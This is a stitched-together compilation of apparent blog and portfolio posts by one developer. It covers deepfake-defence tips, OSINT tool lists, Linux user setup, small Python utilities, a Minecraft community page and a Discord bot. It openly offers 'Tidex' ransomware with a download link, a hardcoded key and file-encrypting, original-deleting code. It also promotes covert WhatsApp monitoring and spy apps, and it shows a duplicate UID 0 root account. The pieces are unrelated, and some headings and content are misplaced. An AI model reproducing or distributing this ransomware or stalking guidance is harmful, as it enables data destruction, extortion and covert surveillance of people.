*   🔹 Chill, be safe. Relax and don't worry. If something like this is going to happen, it will happen, and when it does, act calmly, always with a cool head. This way, you will think better and faster. Most of these clonings happen to people who attract public attention: influencers, artists, rulers, journalists. Later we will see what to do if you are one of them.

&nbsp;

| Name | Url |
| --- | --- |
| RVC v2 Training Guide | [Click](https://docs.google.com/document/d/13ebnzmeEBc6uzYCMt-QVFQk-whVrK4zw8k7_Lw3Bv_A/edit#heading=h.bjzhhhcn3f6) |
| RVC Covers Inference Guide | [Click](https://docs.google.com/document/d/13_l1bd1Osgz7qlAZn-zhklCbHpVRk6bYOuAuB78qmsE/edit#heading=h.qjrl2d41vtmt) |
| Cloning Page | [Click](https://colab.research.google.com/drive/1AcGvwT7yP_u9h_TJnDHoPUJKnCG1MejS?usp=sharing) |
| URL Reputation | [Click](https://www.urlvoid.com) |
| Whois | [Click](https://whois.domaintools.com) |
| SleepJar | [Click](https://sleepjar.com) |

---

*   **How do I prevent my image from being cloned?**
    Answer = Like with the voice, it's complicated, as we don't have control over everything that is seen of us or what the world shows of us.

&nbsp;

Try not to take too many photos, especially of your face. If you want to be very strict, don't use a mobile phone or devices with a camera, but this won't work. Therefore, I recommend you get to know yourself. Check how many moles you have, check what things make you different: wrinkles, hair, the shape of your smile, your face. Get to know yourself, look in the mirror and describe yourself. You know how to use your best weapon even with your eyes closed.

I don't know of any tools that can be of help, but you can try using filters. Filters? Yes, filters. This makes it difficult for the algorithm to check your cheekbones and gaze as they distort or even create a false appearance. Pose in original ways in photos (the casual ones).

---

*   **How do I prevent my iris from being cloned?**
    Answer = Don't sell yourself out, better yet, don't look at a camera.

The iris is not widely used today. It is used to access vaults, safes, and high-value privileged information, which means it is expensive to maintain and manage.
The iris does not represent a danger to a civilian, as few or no procedures require it. If it were to be cloned for some reason, all that is needed is a photo or video of you. It can even be determined by distinction and elimination to the exact color and shape of the eye. So if you want to be cloned, you just have to sell yourself to Worldcoin for 20 USD, and you will be in a database that will be leaked the following month to train NPCs for The Sims.

---

*   **How do I prevent my fingerprint and digital footprint from being cloned?**
    Answer = It's impossible.

Large entities have control of this data, so this would be the first thing to be cloned. But don't worry, protect your accounts with 2FA, delete cookies, remove unnecessary applications, do not install malicious applications, unknown APKs or EXEs, apply zero trust, use your head.

&nbsp;

**Anti-malware and others table**
\
| Name | Link |
| --- | --- |
| [Triage](https://tria.ge) | Allows you to create a secure environment for the analysis of malware or suspicious applications |
| [ViewDNS](https://viewdns.info) | Allows you to find domains, hosts, and more about an IP or site |
| [Hybrid Analysis](https://www.hybrid-analysis.com/?lang=en) | Allows malware analysis on executables or any file |
| [VirScan](https://www.virscan.org) | Also allows malware analysis from the web application |
| [VirusTotal](https://www.virustotal.com/gui/home/upload) | This site is very well known and also allows analysis of files |
| [Numverify](https://numverify.com) | Allows you to verify a person's identity with a phone number through its API |

---

### References

*   🔹 Bird, J. J., & Lotfi, A. (2023). Real-time Detection of AI-Generated Speech for DeepFake Voice Conversion. arXiv preprint arXiv:2308.12734.
*   🔹 Kamble, A., Tathe, A., Kumbharkar, S., Bhandare, A., & Mitra, A. C. (2023). Custom Data Augmentation for low resource ASR using Bark and Retrieval-Based Voice Conversion. arXiv preprint arXiv:2311.14836.
*   🔹 Ralón, M. A. M. (2021). Identity theft and cloning of credit and debit cards using altered ATMs. Forensic Dialogue Scientific Journal, 2(4).

### Glossary

*   📌 **AI** = Artificial intelligence
*   📌 **Clone** = To clone, copy, duplicate, etc.
*   📌 **RVC** = Corresponds to Real-time Voice Cloning.
*   📌 **Sample** = Audio sample in WAV, MP3, or OPUS, well known in the world of music production.
*   📌 **Dataset** = Set of hundreds of data points, these can be made up of audios, videos, or images.
*   📌 **DeepFake** = False representation of an identity in a cybernetic way.
*   📌 **WorldCoin** = Pseudo-project by Sam Altman to generate universal basic income or a unique identity in the face of the singularity.
*   📌 **Singularity** = It is called as such to that autonomous identity in itself capable of creating, replicating, and destroying anything by itself, see it as an artificial intelligence capable of self-programming (Also known as Roko's Basilisk).
*   📌 **Model** = It is defined as a set of algorithms trained to execute a single task in a specialized way, whether it is drawing, singing, or copying. There are models capable of doing simultaneous tasks.
*   📌 **Algorithm** = Set of steps to complete a task successfully.

&nbsp;

= Ewd

Defend Yourself from AI


**Before starting.**

Any tool shown here must be used with responsibility and extreme care, the malicious use of any of them is the responsibility of the user.

___

[Shodan](https://www.shodan.io)

Shodan is a search engine for the internet of things, it can search by IP and explore multiple devices on the network.

- Ideal for server analysis
- Offers filters for more specific searches
- Use for security audits
- Information gathering
- Physical location of the server

[Hunter](https://hunter.io)

Hunter is a professional email search engine for workers, by entering an organization's domain it will return a list of emails associated with the domain and the source from which it was obtained.

[Emailrep](https://emailrep.io)

Emailrep analyzes the entered email, provides information about the email such as its reputation and associated accounts, such as social networks among others.

___

[Truecaller](https://www.truecaller.com)

Truecaller allows obtaining information from phone numbers.

- Allows social engineering attacks
- Allows SMS Gateway attacks (Only in some cases)

*CLARIFICATION: I DO NOT RECOMMEND USING TRUECALLER AS A FIRST METHOD, AS TRUECALLER STORES YOUR LOCAL INFORMATION SUCH AS PHONE NUMBERS, NAMES AND ADDRESSES TO INCREASE ITS DATABASE AND THUS SHARE IT WITH THE WORLD.*

[Webmii](https://webmii.com)

By entering the person's name, it gives an information score about them on the network.

Similar platforms:

- [Searchpof](https://searchpof.com/)
- [Corporation Wiki](https://www.corporationwiki.com/)
- [fold3](https://www.fold3.com/?group=1)
- [BranYourself](https://brandyourself.com/)

![Webmii](https://i.ibb.co/42H4417/image.png)
___

[Instantusername](https://instantusername.com/#/)

By entering a username or nickname, it will appear on which platforms that user is registered.

Similar platforms:

- [Social Searcher](https://www.social-searcher.com/)
- [Namechk](https://namechk.com/)
- [Sherlock](https://github.com/sherlock-project/sherlock)
- [Knowem?](https://knowem.com/)
- [Whatsmyname](https://whatsmyname.app/)

More related information in this [LINK](https://securiters.gitbook.io/securiters-wiki/)

___

**Reverse image analysis.**

Yandex is a powerful search engine, it allows searching by an image and will return more accurate results.

[Yandex](https://yandex.com/images/)

___

**Data monitoring and analysis.**

[Chatwatch](https://chatwatch.net/)

It allows monitoring a WhatsApp number or multiple of them, if the line is colored in a dark purple it means that it is online, this serves to see if two people are interacting, it requires a paid account but its demo version allows its use with limitations.

More espionage utilities [HERE](https://trustedbrandreviews.org/best-spy-apps/?gclid=CjwKCAjwyqWkBhBMEiwAp2yUFkTLr5wmvqkZLPdT8oO4yFVGPRAEiSiBkncphPXHyc0_vg3LVHsMnBoCNAMQAvD_BwE)

Intelx is a powerful intelligence tool that allows searching by dates, emails and more, additionally it provides information about leaked emails or accounts from databases.

[Intelx](https://intelx.io/)

In addition to this, there are tools such as TheHarvester, Maltego, Osintagram, Phoneinfoga and more that can be used in your investigation, some of these are native in Kali or ParrotOS, this topic will be addressed in more depth in the entry for Osint-2.

This tool is not always reliable

![TheHarvester](https://miro.medium.com/v2/resize:fit:1144/1*-hPh74OGmurbhduZNGcMLg.png)

OSINT Tools 1


**Clearing up doubts.**

- What is not allowed must be prohibited.
- A chain is only as strong as its weakest link.
- The security measure is directly proportional to the level of existing risk.
- An ~~old~~ computer dog **must** learn new tricks.
- Computer security is everyone's job.

## In WINDOWS

  ![LeastPrivilege](https://i.ibb.co/nLqgQRQ/image.png)

## In LINUX

**To create a conventional user:**

Authenticate as root user

```js
~$ su -
Password:

~#

```

___

Create the user

```js
useradd userName

```

___

Add password

```js
passwd userName

```

___

To switch to the new user

```js
su userName

```

___

**To create a root user:**

Create the user

```js
useradd -u 0 -o -g 0 userName2

```

___

- **u [UID]** -> user identifier of the new account. The UID (User ID) is added in the [UID] field.
- **o** -> allows creating users with duplicate (non-unique) identifiers (UIDs).
- **g [GROUP]** -> name or identifier of the primary group of the new account.
- **p [PASSWORD]** -> encrypted password of the new account

Explanation: -u 0 we are assigning the userPrueba account the UID (User IDentifier) 0, each account has a user identifier, that of the root account is 0, by assigning the value 0 to userPrueba we are giving it the same user privileges as the root account. Usually you cannot have two accounts with the same UID, that is why the -o option is added, which allows an exception to be made so that it can be done. The -g 0 assigns the GID (Group IDentifier) 0 to userPrueba, so that it belongs to the same group as the root account.

___

**Standard user registration:**

Enter as administrator (root) with:

```js
//option a)
~$ su -
Password: (honeydrive)
//option b)
~$ sudo su -
[sudo] Password: (honeydrive)

```

___

Once inside you will switch to the # symbol and you will be able to create the new standard user;

```js
~#useradd userTest1
~#passwd userTest1 (test1) //optional password

```

and that's it!

You can try to make the configuration changes to authenticate that it is a standard user with:

first we enter the user and then we change the configuration of the eth0 port

___

```js
//enter as user UserTest1
~# su userTest1
//inside the user we make the query of the available ports to confirm that eth0 exists
$ ifconfig

//we try to turn off the eth0 port
$ ifconfig eth0 down
SIOCSIFFLAGS: Permission denied
//expected message denied

```

___

Finally, to return to the Administrator user

```js
//option a)
$su –
Password: (honeydrive)
//option b)
$exit
```

___

**Administrator user registration:**

Enter as administrator (root) with: (repeat step one or confirm being in root #)

```js
~# useradd -u 0 -o -g 0 userTest2
~# passwd userTest2 (test2) //optional password

```

___

You can try to make the configuration changes to authenticate that it is an Administrator user with:

First we enter the administrator user and then we change the configuration of the eth0 port

___

```js
//enter as user UserTest2
~# su userTest2
//inside the user we make the query of the available ports to confirm that eth0 exists
$ ifconfig

//we try to turn off the eth0 port
$ ifconfig eth0 down
//we confirm that the changes have been made
$ ifconfig
//finally we return it to the initial configuration with:
$ ifconfig eth0 up
```

___

  ![OSIModel](https://i.ibb.co/gwkMPTV/image.png)

The Principle of Least Privilege


![imagetitle](https://i.ibb.co/YcnFRM2/sislogtitle.jpg)

# SISLOG

## Create logs, reports, issues and more.
Windows 8/10/11 and Linux forensic tool to generate logs about installed programs, NetBios connections, ARP cache, DNS, processes, network, WIFI, services, computer modifications, scheduled tasks, mapped drives and more, all written in Python and output as TXT files.

> You need administrator privileges to avoid bugs with the txt creation.

I invite anyone to make modifications to this repository and improve the program for various operating systems regardless of their architecture or distribution.

![IMG](https://i.imgur.com/3Pw9O4u.png)


### Features

Encrypt and decrypt your files and folders with AES, for any file, jpg, png, mp4, mp3, docx, pdf, etc... 

### Why GIE?

GIE is the name of my first girldfriend (JK 😂), GIE is the acronym of **G**entle, **I**ntelligent and **E**asy file encryption.

## 📦 Requirements

- **[Python](https://www.python.org/downloads/)**, (not necessary).

## 💻 Installation

Execute the commands according to your case

Run the project

```batch
python setup.py
```

Then (or)

```batch
python main.py
```

Excecute **SISLOG.exe** file.

---

### VIEW DNS CACHE FUCTION

```python
# Función para mostrar la cache dns.
def get_dns_cache():
    dns_cache = subprocess.check_output(["ipconfig", "/displaydns"]).decode("ISO-8859-1")
    return dns_cache
```

### VIEW RUNNING TASK AND PROCESS FUCTION

```python
# Función para ver los procesos ejecutandose al momento.
def get_running_processes():
    processes_info = ""
    for process in psutil.process_iter():
        try:
            process_name = process.name()
            processes_info += process_name + "\n"
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
            pass
    return processes_info


# Función para ver los servicios ejecutandose en el momento.
def get_running_services():
    services_info = ""
    for service in psutil.win_service_iter():
        try:
            if service.status() == "running":
                services_info += service.name() + "\n"
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
            pass
    return services_info
```

---

### Output TXT Example

![IMG](https://i.ibb.co/cx4bMw6/SisLog-2.jpg)

### Download

`git clone git@github.com:aiskoaisLog.git`

[⬇️ Check the latest release ⬇️](https://github.com/aiskoaisLog/releases/tag/SISLOG)

### 🤝 Contributing

Contributions, issues and feature requests are welcome! Feel free to check issues page.

### 💜 Show your support

Give a ⭐️ if this _project helped you!_ 

### 📝 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [MIT](/LICENSE) licensed.

---

SISLOG Forensic Tool


# Tidex

2 programs written in Python Metacrawler (Metadata Eraser) and IPTracker (IP Lookup).

&nbsp;

* Metacrawler: Erases metadata in any image or photo file.
* IPTracker: Finds the location of an IP address provided by URL (optional) and finds its open ports as well as generates malicious IP address report.

&nbsp;

## Here is Metacrawler

![IMG](https://i.ibb.co/Qv9TfyZ/Metacrawler.png)

Code Example for Metacrawler

```python
# Se eliminan los metadatos
def remove_exif():
    global image_path
    image = Image.open(image_path)
    try:
        for key in image.info:
            if key in ExifTags.TAGS:
                del image.info[key]
        image.save(image_path)
    except:
        pass

# Se carga la imagen
def load_image():
    global filename, image_path
    root = tk.Tk()
    root.withdraw()
    image_path = filedialog.askopenfilename()
    if image_path:
        filename = os.path.basename(image_path)
        image = pygame.image.load(image_path)
        screen.blit(image, (0, 0))
        remove_exif()
```

&nbsp;
Code Example for IPTrack
## Here is IPTracker

![IMG](https://i.ibb.co/tbTMP0g/IPTracker.png)

```python
# Verificar si la dirección IP es maliciosa utilizando la API de VirusTotal
def is_malicious(ip, api_key):
    url = f'https://www.virustotal.com/api/v3/ip_addresses/{ip}'
    headers = {'x-apikey': api_key}
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        data = response.json()
        stats = data.get('attributes', {}).get('last_analysis_stats', {})
        if stats.get('malicious') or stats.get('suspicious'):
            return True
    return False
```

## Modify

In IPTracker
`api_key = 'API_KEY_HERE' with you API VirusTotal Key`

[Dowload Here From GitHub](https://github.com/aiskoa/Metacrawler-IPTracker)

[Check the latest release](https://github.com/aiskoa/Metacrawler-IPTracker/releases/tag/Metacrawlerv1)

&nbsp;

~ [aiskoa](https://aiskoa.vercel.app/portfolio)💜


Metacrawler & IPTrack


# Tidex

Simple little Ransomware, only works to encrypt files in the directory path Desktop and subdirectories.

&nbsp;

## Important

At the moment it can only be executed on Linux machines. it lacks decryption function.
The KEY is: **hkpykiiqftupr3okl04azj**

&nbsp;

Code Example

```python
def _lock():
    for files in all_Ext:
        for _dotFile in glob.glob(files):
            print(_dotFile)
            f = open(f'{__dir()}/{_dotFile}', 'rb')
            dataArr = f.read()
            f.close()
            os.remove(f'{__dir()}/{_dotFile}')
            key = "hkpykiiqftupr3okl04azj"
            aes = pyaes.AESModeOfOperationCTR(key)
            EncryptData = aes.encrypt(dataArr)
            newArr = _dotFile.replace(char, "") + Ext
            newArr = open(f'{newArr}', 'wb')
            newArr.write(EncryptData)
            newArr.close()
```

### [Dowload Here From GitHub](https://github.com/aiskoa/Tidex)

Thx
~ aiskoa.


Tidex Ransomware


## Below you will see a small list of attack tools

All information presented here is for educational and training purposes. I am not responsible for its malicious use.
I will only give a brief description of them, I will not go into detail about their use for now.
By clicking on the tool you will automatically be redirected to the site to download the tool.

&nbsp;

Updates:

* Aquatone changed the repository to "Archived" and plans to make important changes.

&nbsp;

### 1.- [Burp Suite - Framework.](https://portswigger.net/burp/communitydownload)

### 2.- [ZAP Proxy - Framework.](https://www.zaproxy.org/docs/desktop/addons/automation-framework/)

### 3.- [Dirsearch - HTTP brute force.](https://github.com/maurosoria/dirsearch)

### 4.- [Nmap - Port scanning.](https://nmap.org/download.html)

### 5.- [Sublist3r - Subdomain discovery.](https://github.com/aboul3la/Sublist3r)

### 6.- [Amass - Subdomain discovery.](https://github.com/OWASP/Amass)

### 7.- [SQLmap - SQLi exploitation.](https://sqlmap.org)

### 8.- [Metasploit - Framework.](https://www.metasploit.com/download)

### 9.- [WPscan - WordPress exploitation.](https://github.com/wpscanteam/wpscan)

### 10.- [Nikto - Webserver scanning.](https://github.com/sullo/nikto)

### 11.- [HTTPX - HTTP probing.](https://github.com/projectdiscovery/httpx)

### 12.- [Nuclei - YAML template scanning.](https://github.com/projectdiscovery/nuclei-templates)

### 13.- [FFUF - HTTP probing.](https://github.com/ffuf/ffuf)

### 14.- [Subfinder - Subdomain discovery.](https://github.com/projectdiscovery/subfinder)

### 15.- [Masscan - Mass port and IP scanning.](https://github.com/robertdavidgraham/masscan)

### 16.- [Lazy Recon - Subdomain discovery.](https://github.com/nahamsec/lazyrecon)

### 18.- [Aquatone - HTTP inspection.](https://github.com/michenriksen/aquatone/releases)

### 19.- [LinkFinder - Endpoint discovery on JS files.](https://github.com/GerbenJavado/LinkFinder)

### 20.- [JS-Scan - Endpoint discovery on JS files.](https://github.com/zseano/JS-Scan)

### 21.- [GAU- Attack surface mapping.](https://github.com/lc/gau)

### 22.- [Parameth - Brute force on GET and POST parameters.](https://github.com/maK-/parameth)

### 23.- [truffleHog - Finds credentials on GitHub commits.](https://github.com/trufflesecurity/trufflehog)

&nbsp;

### Thanks for reading

~ aiskoa.

Web Hacking Tools P1


### Installation

* Download, and run.

It is a small tool that displays data from a web site or ip entered.

$$
\sum_{n=1}^\infty \frac{1}{n^2} = \frac{\pi^2}{6}
$$

The famous equation is $E=mc^2$ and shows the equivalence between mass and energy.

### Code

```python
import socket
import requests
from os import system

system('clear')
print("Welcome, please")
site = input("\nEnter the website: ")
ip = socket.gethostbyname(site)
got = requests.get(f"http://ip-api.com/json/{ip}").json()
lat = requests.get(f"http://ipwho.is/{ip}").json()

print("IP Address:", got["query"])
print("ISP:", got["isp"])
print("Type:", lat["type"])
```


### Download Here

* [Download Here](https://drive.google.com/file/d/1jlsOKaZSsocnx_mwd9pfCeWuZIDCKKaU/view?usp=share_link)

Tracker IP


![Banner](https://i.imgur.com/BD7u7kY.png)

# ALO POLSIA

## Gamer Community for everyone!

**ALO POLISIA 🍁** Was a gamer community that emerged before the pandemic, where various activities were developed thanks to the Staff.

A heartfelt thank you to all those who accompanied us, both those who are still with us and those who have sadly left us.

The site was built with **PHP** and **MySQL** for user management and the database for both the web server and the game server.

**Oracle and PL/SQL** were used on one occasion for database management with the Minecraft Bedrock server.

### Admin Console Image

![Console](https://i.imgur.com/0HXaliv.png)

### Lobby Image of the First MC Server

![Spawn](https://i.imgur.com/YqkC6Yi.png)

### Image of the First Construction on the First Server

![Lb1](https://i.imgur.com/9UrQr3x.png)

### Screenshot of the Community on Discord

![SS](https://i.imgur.com/Raosfeg.png)

### Closing Image

![Cierre](https://i.imgur.com/SgTDHoU.png)

### Here are some images that will go down in posterity

![LLOGO](https://i.imgur.com/pllkmTt.png)

![EmilySS](https://i.imgur.com/sa8VLDl.png)

![GG](https://i.imgur.com/KDyJLqP.png)

![Dejaserver](https://i.imgur.com/j7Ni4t1.png)

![Selfie](https://i.imgur.com/bI7aFGv.png)

![Const](https://i.imgur.com/AHwAiCC.png)

![Angie](https://i.imgur.com/BVcFncL.png)

### LogBlock Config (SQL)

```yaml
consumer:
  forceToProcessAtLeast: 200
  delayBetweenRuns: 2
  queueWarningSize: 1000
  timePerRun: 1000
  fireCustomEvents: false
  useBukkitScheduler: true
tools:
  toolblock:
    item: BEDROCK
    removeOnDisable: true
    canDrop: false
    leftClickBehavior: TOOL
    mode: LOOKUP
    aliases:
    - tb
    rightClickBehavior: BLOCK
    defaultEnabled: true
    dropToDisable: false
    permissionDefault: OP
    params: area 0 all sum none limit 15 desc since 60d silent
  tool:
    leftClickBehavior: NONE
    item: WOODEN_PICKAXE
    defaultEnabled: true
    mode: LOOKUP
    dropToDisable: false
    removeOnDisable: true
    aliases:
    - t
    params: area 0 all sum none limit 15 desc since 60d silent
    permissionDefault: OP
    canDrop: true
    rightClickBehavior: TOOL
lookup:
  linesPerPage: 15
  hardLinesLimit: 100000
  dateFormat: MM-dd HH:mm:ss
  defaultTime: 30 minutes
  defaultDist: 20
  linesLimit: 1500
mysql:
  password: password
  host: db4free.net
  port: 3306
  database: name_db
  requireSSL: false
  user: admin
questioner:
  askRollbacks: true
  askRedos: true
  askClearLogs: true
  banPermission: mcbans.ban.local
  askRollbackAfterBan: false
  askClearLogAfterRollback: true
logging:
  logFireSpreadAsPlayerWhoCreatedIt: true
  logCreeperExplosionsAsPlayerWhoTriggeredThese: false
  logFluidFlowAsPlayerWhoTriggeredIt: false
  logPlayerInfo: false
  logEnvironmentalKills: false
  hiddenPlayers: []
  ignoredChat:
  - /register
  - /login
  logBedExplosionsAsPlayerWhoTriggeredThese: true
  logKillsLevel: PLAYERS
  hiddenBlocks:
  - AIR
  - CAVE_AIR
  - VOID_AIR
clearlog:
  auto:
  - world "world" before 365 days all
  - world "world" player lavaflow waterflow leavesdecay before 7 days all
  - world "world" entities before 365 days
  - world "world_nether" before 365 days all
  - world "world_nether" player lavaflow waterflow leavesdecay before 7 days all
  - world "world_nether" entities before 365 days
  - world "world_the_end" before 365 days all
  - world "world_the_end" player lavaflow waterflow leavesdecay before 7 days all
  - world "world_the_end" entities before 365 days
  dumpDeletedLog: false
  autoClearLogDelay: 6h
  enableAutoClearLog: false
rollback:
  maxTime: 2 days
  dontRollback:
  - LAVA
  - TNT
  - FIRE
  maxArea: 50
  replaceAnyway:
  - LAVA
  - WATER
  - FIRE
  - GRASS_BLOCK
version: '1.14.1-SNAPSHOT (build #65)'
debug: false
safety:
  id:
    check: true
loggedWorlds:
- world
- world_nether
- world_the_end
previousMinecraftVersion: 1.14.4

```

---

Copyright © 2024 [Aiskoa](https://aiskoa.vercel.app). This project is [MIT](/LICENSE) licensed.

ALO POLISIA Community


# Cybersecurity Fundamentals Pt 1.

&nbsp;

I recommend you go to the Cheatsheet for a more dynamic and fun version of learning these terms.
[Click to find the Complete Cheatsheet](https://aiskoa.gitbook.io/glosario-de-hacking-ciberseguridad-y-redes/)

&nbsp;

🔮 Cyberspace: It is the environment resulting from the interaction of people, software, and services on the internet, which is supported by information and communication technologies.

&nbsp;

🛡 Stakeholders: It is divided into 2.

* 🔹 Consumers: They make use of services available in cyberspace. People and organizations are part of this.
* 🔹 Providers: They make services available to be used by consumers, such as connectivity services and access to applications.

&nbsp;

💿 Assets: The main assets are divided into 4

* 🔹 Organizational Assets: They involve important components for the business processes of organizations such as servers, applications, among others.
* 🔹 Personal Assets: They involve important components for people in their interaction with cyberspace (mobile devices, email, etc.)
* 🔹 Physical Assets: They involve components that have a physical presence in reality such as servers, mobile devices, etc.
* 🔹 Virtual Assets: They involve components that are only digital and depend on a Physical Asset that executes them.

&nbsp;

🍘 Information Security: It refers to the protection of information and information systems against unauthorized access, use, disclosure, interruption, modification, or destruction to provide confidentiality, integrity, and availability.

&nbsp;

🔑 The 3 Pillars of Security: CID Triad (CIA): They define fundamental aspects of information protection whose affectation implies a security problem.

* 🔹 Confidentiality: It seeks to prevent the unauthorized disclosure and access to the confidential information of the organization.
* 🔹 Availability: It seeks that access to information is not degraded and remains accessible when required.
* 🔹 Integrity: It seeks that the information remains unaltered in the face of accidents or malicious attempts at modification.

&nbsp;

🍘 Cybersecurity: It is the ability to protect or defend the use of cyberspace from cyberattacks and ensure that security objectives are achieved and maintained. Cybersecurity is part of information security.

&nbsp;

🐙 Threat Agents: Actor or entity capable of potentially triggering or executing a cyberattack or security incident.

* 🔹 Cybercriminals
* 🔹 Hacktivists
* 🔹 Cyberterrorists
* 🔹 Script kiddies
* 🔹 Insiders/Internal attackers
* 🔹 States or nations
* 🔹 Corporations or other companies

&nbsp;

🐙 Threats.: Event with the potential to negatively affect assets with respect to the 3 pillars of security.

* 🔹 Threats to organizational groups.
* 🔹 Threats to personal assets.

&nbsp;

👿 Vulnerability: Weakness or failure in a system that compromises its security.

&nbsp;

💀 Risk: Methodologically calculated measure resulting from the probability and impact of the materialization of an adverse cybersecurity event.

&nbsp;

🤖 Control: Action taken by organizations to address a risk and reduce it to an acceptable point.

&nbsp;

* Access to my [Website](https://aiskoa.vercel.app/es/blog/)

## Thanks for reading part 1

aiskoa.

Cybersecurity Fundamentals 1


**Script made by [S4vitar](https://www.youtube.com/c/s4vitar), modified by me by adding a function to analyze open ports.**

*The complete code can be found on [GitHub](https://github.com/aiskoa/W1chsystem)*

Simple tool.

```python
#!/usr/bin/python3
#coding: utf-8

import re, sys, subprocess

print("W1hchSystem2")

#Usage python3 wh1chSystem.py 10.10.10.205

ip = re.compile("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")

def dato_erroneo():

  if len(sys.argv) != 2 or sys.argv[1]
 != ip:
   print("\n[!] Usage: python3 " 
   + sys.argv[0] + " <ip-direction>\n")
   sys.exit(1)

def get_ttl(ip_address):

 proc = subprocess.Popen(["/usr/bin/ping 
 -c 1 %s" % 
ip_address, ""], stdout=subprocess.PIPE, 
shell=True)
 
 (out,err) = proc.communicate()

 out = out.split()
 out = out[12].decode('utf-8')

 try:

  ttl_value = re.findall(r"\d{1,3}", 
  out)[0]
  
  return ttl_value

 except IndexError:
   
  if ttl_value is IndexError:
   print("Machine out of order")
   sys.exit(1)


def get_os(ttl):

 ttl = int(ttl)

 if ttl >=0 and ttl <=64:
  return "Linux"
 
elif ttl >= 65 and ttl <= 128:
  return "Windows"
  
 else:
  return "Not Found"
```

W1chSystem2 OS port scan


![Captura](https://raw.githubusercontent.com/aiskoa/Chilltify/main/Screenshots/Index.png)

## Installation

* The complete guide can be found at [GitHub](https://github.com/aiskoa/Chilltify)

<h1 align="center">🌜 Lofi Music - Diana Sessions 🌛</h1>

[![license](https://img.shields.io/github/license/KillahPotatoes/KP-Liberation.svg)](/LICENSE)

[![GitHub Release Date](https://img.shields.io/github/release-date/KillahPotatoes/KP-Liberation.svg)](https://github.com/aiskoa/Chilltify/releases)

[![GitHub contributors](https://img.shields.io/github/contributors/KillahPotatoes/KP-Liberation)](https://github.com/aiskoa/Chilltify/contributors)

[![GitHub forks](https://img.shields.io/github/forks/KillahPotatoes/KP-Liberation)](https://github.com/aiskoa/Chilltify/network)

<p align="center">
  Lofi music application made in electron, based on "Diana Sessions" from Riot Games Music.

> This project was made for educational purposes only, and the music originally comes from [Riot Games Music](https://www.youtube.com/c/riotgamesmusic)

## Download

Available for Mac, Linux and Windows.

Installer `.exe` only available for Windows.

[Windows Installer](https://drive.google.com/uc?export=download&confirm=01yo&id=1jaOdnnbRDlwPOBI3_pnWF0P0E6ASZKUS)

[MacOS](https://drive.google.com/drive/folders/1LOYV_qe18X_R_i_79w7tK7rw661Jzd10?usp=sharing)

[Linux](https://drive.google.com/drive/folders/1_6AQhmQ0W0Uni2w_MwGZR6uMiy_oZVb7?usp=sharing)

## License
💜 [MIT License](https://github.com/aiskoa/Chilltify/blob/main/LICENSE)

### Code Example

```javascript
//Llamamos a createwindow de main.js
const {createWindow} = require('./main')
const {app} = require('electron')
const path = require('path');
//Llamamos al modulo de electron
require('electron-reload')(__dirname, {
    electron: path.join(__dirname, 
    'node_modules/.bin/electron')
});
app.allowRendererProcessReuse = false;
//Para Mac Os "darwin", cuando se pulse 
//salir, 
//debera invocar el metodo quit del 
//objeto app 
app.whenReady().then(createWindow)
app.on('window-all-closed', () => {
    if (process.platform !== 'darwin') {  
        app.quit()
    }
});
//Para Mac Os, cuando la aplicacion 
//se quede en el dock este 
// reactivarse con el evento activate
app.on('activate', function() {
    if (BrowserWindow.getAllWindows
    ().length === 0){
        createWindow();
    }
});
```


Spotify Clon for Diana Sessions


![Cler](https://i.ibb.co/3h4PkHZ/clerbgred.gif)

# Cler - Discord Multipurpose Bot

# Installation
* The complete guide can be found at [GitHub](https://github.com/aiskoa/Cler-page)
* All documentation can be found at [Docs](https://aiskoa.gitbook.io/cler/)
* Official website at [Page](https://aiskoa.github.io/Cler-page/)


# About Cler

[Invite Cler on your server](https://discord.com/oauth2/authorize?client_id=774150617546883073&permissions=8&scope=bot)
* |Warning| Spanish discord bot, code in node.js / discord.js, but it is easy to learn each command.
Please report any issue or bug.
DM to: @NexDrak ( ╥ω╥ )


# What it can do in ATM
### (Asynchronous Transfer Mode)
- Use the prefix. `c!`
  - ~~search manga, anime, reviews... owo~~ soon.
- Join a voice channel and play a text in TTS _(Text to speech)_ (supports Spanish, English, French, Romanian, Korean, Japanese and Portuguese (*・ω・)ﾉ *each with its respective command, en_tts, ko_tts, etc*
- Now with more secrets (｢• ω •)｢ (⌒ω⌒`)
- Bot in Discord.js v12.4.1

# Future plans
- Prettier Website
  - Connect with MariaDB
  - Delete old data and cache
- Support for slash commands
- Eat blue berries
- Play outside

P.S.: If I abandoned this project it's because I got bored or didn't upgrade the bot to a better version of Discord.

# Commands
Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler/)

Structure and Diagramming in [Github](https://github.com/aiskoa/Cler) Repository

### Admin / Mod
* `c!mute  <@member> <reason>` Mutes the tagged member.
* `c!unmute  <@member> <reason>` Unmutes the tagged member. 
* `c!setmute  <@rol>` Defines the Mute role on the server **Important**.
* `c!ban <@member> <reason>` Permanently bans the tagged member from the server.
* `c!unban <@member>` Revokes the ban from the previous command. 
* `c!kick <@member> <reason>` Kicks the tagged member from the server.
* `c!softban <@member> <reason>` Temporarily kicks the tagged member from the server for 7 days.
* `c!hackban <@member> <reason>` Permanently bans the selected member from the server and also deletes all their sent messages.
* `c!warn <@member> <reason>` Warns the selected member
* `c!bc <#channel> <message>` Sends a message remotely to the selected channel Name or ID.

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler/)

### Action
* `c!hug  <@member>` Sends a Hug Gif / Image. 
* `c!kiss <@member>` Sends a Kiss Gif / Image. 
* `c!kill <@member>` Sends a Kill Gif / Image. 
* `c!pat <@member>` Sends a Pat Gif / Image.
* `c!lick <@member>` Sends a Lick Gif / Image. 
* `c!slap <@member>` Sends a Slap Gif / Image. 
* `c!feed <@member>` Sends a Feed Gif / Image. 
* `c!cry` Sends a Cry Gif / Image.
* `c!angry` Sends an Angry Gif / Image.
* `c!happy` Sends a Happy Gif / Image.
* `c!dance` Sends a Dance Gif / Image.
* `c!confused` Sends a Confused Gif / Image.
* `c!blush` Sends a Blush Gif / Image.
* `c!sleep` Sends a Sleep Gif / Image.
* `c!bored` Sends a Bored Gif / Image.

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler/)

### Fun
* `c!8ball  <@member>` Gives a random answer to a question of your interest. 
* `c!ascii <@member>` sends a text in ascii. 
* `c!say <args>` repeats the said text. 
